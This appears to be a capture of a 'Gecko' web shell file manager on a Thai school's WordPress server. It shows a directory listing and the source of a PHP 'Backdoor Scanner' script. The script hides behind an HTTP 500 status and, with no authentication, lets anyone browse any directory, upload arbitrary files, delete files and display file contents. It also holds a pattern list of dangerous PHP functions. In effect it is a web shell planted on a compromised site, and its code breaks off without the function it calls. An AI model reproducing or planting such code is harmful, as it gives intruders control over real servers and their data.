Gecko [ sy.ac.th ]

Name	Size	Permission	Date
edms-master	[ DIR ]	drwxrwxrwx	2022-06-19 21:35
file	[ DIR ]	drwxr-xr-x	2025-09-18 15:11
inventory-main	[ DIR ]	drwxrwxrwx	2026-05-22 03:25
link	[ DIR ]	drwxr-xr-x	2026-09-19 16:26
mail	[ DIR ]	drwxr-xr-x	2025-09-11 20:33
promo	[ DIR ]	drwxr-xr-x	2025-10-23 20:25
sy-library	[ DIR ]	drwxrwxrwx	2025-06-18 20:54
video	[ DIR ]	drwxr-xr-x	2026-08-29 21:02
wp-admin	[ DIR ]	drwxr-xr-x	2020-06-11 08:42
wp-content	[ DIR ]	drwxr-xr-x	2021-07-23 16:12
wp-includes	[ DIR ]	drwxr-xr-x	2020-06-11 08:44
.maintenance	33 B	-rwxr-xr-x	2021-07-23 10:14
event.php	11.32 KB	-rw-r--r--	2026-02-11 22:27
index.php	418 B	-rwxr-xr-x	2013-09-25 07:18
license.txt	19.47 KB	-rwxr-xr-x	2020-06-11 08:44
readme.html	13.71 KB	-rwxr-xr-x	2020-06-11 08:44
sus.txt	219.6 KB	-rw-r--r--	2026-04-13 15:15
tryscan9.php	7.4 KB	-rw-r--r--	2026-04-13 15:11
wordpress-4.9.15-th.zip	9.62 MB	-rwxr-xr-x	2020-12-01 17:29
wp-activate.php	6.72 KB	-rwxr-xr-x	2018-12-13 08:33
wp-blog-header.php	364 B	-rwxr-xr-x	2015-12-19 18:20
wp-comments-post.php	1.84 KB	-rwxr-xr-x	2018-05-03 05:11
wp-config-sample.php	2.79 KB	-rwxr-xr-x	2020-06-11 08:44
wp-config.php	3.25 KB	-rw-rw-rw-	2024-05-16 18:18
wp-links-opml.php	2.37 KB	-rwxr-xr-x	2016-11-21 09:46
wp-load.php	3.23 KB	-rwxr-xr-x	2017-08-22 18:52
wp-mail.php	7.86 KB	-rwxr-xr-x	2017-01-11 12:13
wp-settings.php	15.87 KB	-rwxr-xr-x	2017-10-04 07:20
wp-signup.php	29.39 KB	-rwxr-xr-x	2018-04-30 06:10
wp-trackback.php	4.51 KB	-rwxr-xr-x	2017-10-24 05:12
xmlrpc.php	2.99 KB	-rwxr-xr-x	2016-08-31 23:31

Rename

<?php
set_time_limit(0);
error_reporting(0);
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
ob_implicit_flush(1);
http_response_code(500); // Tetap tampil Error 500

$path = getcwd();
$self = __FILE__;
$selfName = basename($self);

if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Hapus file satuan
    if (isset($_POST['delete_file'])) {
        $del_file = $_POST['delete_file'];
        if (file_exists($del_file) && realpath($del_file) !== realpath($self)) {
            unlink($del_file);
        }
        header("Location: ?dir=" . urlencode($path) . "&highlight=" . urlencode(base64_encode($del_file)));
        exit;
    }

// Hapus file multiple
    if (isset($_POST['delete_selected']) && !empty($_POST['selected_files'])) {
        foreach ($_POST['selected_files'] as $file) {
            if (file_exists($file) && realpath($file) !== realpath($self)) {
                unlink($file);
            }
        }
        header("Location: ?dir=" . urlencode($path));
        exit;
    }

// Upload file
    if (isset($_FILES['upload_files'])) {
        foreach ($_FILES['upload_files']['tmp_name'] as $i => $tmp_name) {
            $name = basename($_FILES['upload_files']['name'][$i]);
            move_uploaded_file($tmp_name, $path . '/' . $name);
        }
        header("Location: ?dir=" . urlencode($path));
        exit;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Backdoor Scanner</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
  <style>
    body { background-color: #121212; color: #eee; }
    a, a:hover { color: #17d1e6; text-decoration: none; }
    textarea { background-color: #222; color: #eee; border: none; resize: vertical; }
  </style>
  <script>
window.addEventListener("DOMContentLoaded", () => {
    const params = new URLSearchParams(window.location.search);
    const target = params.get("highlight");
    if (target) {
        setTimeout(() => {
            const el = document.getElementById(target);
            if (el) {
                el.scrollIntoView({ behavior: 'smooth', block: 'start' });
                el.classList.add('border', 'border-info');
            }
        }, 100);
    }
});
function toggleCheckboxes(source) {
    document.querySelectorAll('input[name="selected_files[]"]').forEach(cb => {
        if (!cb.disabled) cb.checked = source.checked;
    });
}
</script>
</head>
<body>
<div class="container py-4">
    <h3 class="text-center mb-4">
        <a href="#" onclick="return false;">SCANNER BACKDOOR</a>
    </h3>
    <div class="alert alert-primary text-center">
        Breaking boundaries with elegance and precision, this backdoor scanner reveals hidden dimensions in digital codes.
    </div>

<form action="" method="get" class="mb-3 d-flex justify-content-center">
        <input class="form-control me-2" type="text" name="dir" value="<?= htmlspecialchars($path) ?>" style="max-width:700px;" />
        <button class="btn btn-primary" type="submit">Scan</button>
    </form>

<form method="get" class="mb-4 d-flex justify-content-center">
        <input class="form-control me-2" type="text" name="filter" placeholder="Filter by keyword (file name or contents)" value="<?= isset($_GET['filter']) ? htmlspecialchars($_GET['filter']) : '' ?>" style="max-width:700px;" />
        <input type="hidden" name="dir" value="<?= htmlspecialchars($path) ?>" />
        <button class="btn btn-secondary" type="submit">Filter</button>
    </form>

<form action="" method="post" enctype="multipart/form-data" class="mb-4 d-flex justify-content-center">
        <input class="form-control me-2" type="file" name="upload_files[]" multiple style="max-width:700px;" />
        <button class="btn btn-success" type="submit">Upload Files</button>
    </form>

<p><strong>CURRENT DIR:</strong> <span class="text-success"><?= htmlspecialchars($path) ?></span></p>
    <hr />

<form method="post">
        <div class="mb-3 d-flex align-items-center">
            <input type="checkbox" onclick="toggleCheckboxes(this)" class="me-2" />
            <strong class="me-3">Select All</strong>
            <button type="submit" name="delete_selected" class="btn btn-danger" onclick="return confirm('Yakin ingin menghapus semua file terpilih?');">Delete Selected</button>
        </div>

<?php
scanBackdoor($path, isset($_GET['filter']) ? $_GET['filter'] : '');
?>

</form>
</div>
</body>
</html>

<?php
function save($fname, $value) {
    file_put_contents($fname, $value, FILE_APPEND);
}

function checkBackdoor($file_location, $filter = '') {
    global $self, $selfName;
    $pattern = "#exec\(|gzinflate\(|file_put_contents\(|file_get_contents\(|system\(|passthru\(|shell_exec\(|move_uploaded_file\(|eval\(|base64#i";
    if (!is_readable($file_location)) return;

$contents = file_get_contents($file_location);
    if (strlen($contents) > 0 && preg_match($pattern, strtolower($contents))) {
        if ($filter) {
            if (!str_contains(strtolower($file_location), strtolower($filter)) && !str_contains(strtolower($contents), strtolower($filter))) {
                return;
            }
        }

$id = base64_encode($file_location);
        echo '<div id="' . $id . '" class="mb-3 p-3 border border-danger rounded">';

if (realpath($file_location) !== realpath($self)) {
            echo '<input type="checkbox" name="selected_files[]" value="' . htmlspecialchars($file_location) . '" class="me-2" />';
        } else {
            echo '<input type="checkbox" disabled class="me-2" title="Cannot delete self" />';
        }

echo "[+] Suspect file -> <span class='text-danger'>" . htmlspecialchars($file_location) . "</span>";

if (realpath($file_location) !== realpath($self)) {
            echo '<form method="post" class="d-inline ms-2" onsubmit="return confirm(\'Yakin ingin menghapus file ini?\');">';
            echo '<input type="hidden" name="delete_file" value="' . htmlspecialchars($file_location) . '">';
            echo '<button type="submit" class="btn btn-sm btn-outline-light ms-2">DELETE</button>';
            echo '</form>';
        } else {
            echo " <span class='badge bg-warning text-dark ms-2'>Cannot delete self</span>";
        }

echo '<br><br><textarea class="form-control" cols="80" rows="15" readonly>' . htmlspecialchars($contents) . '</textarea>';
        echo '</div>';
        save("sus.txt", $file_location . "\n");
    }
}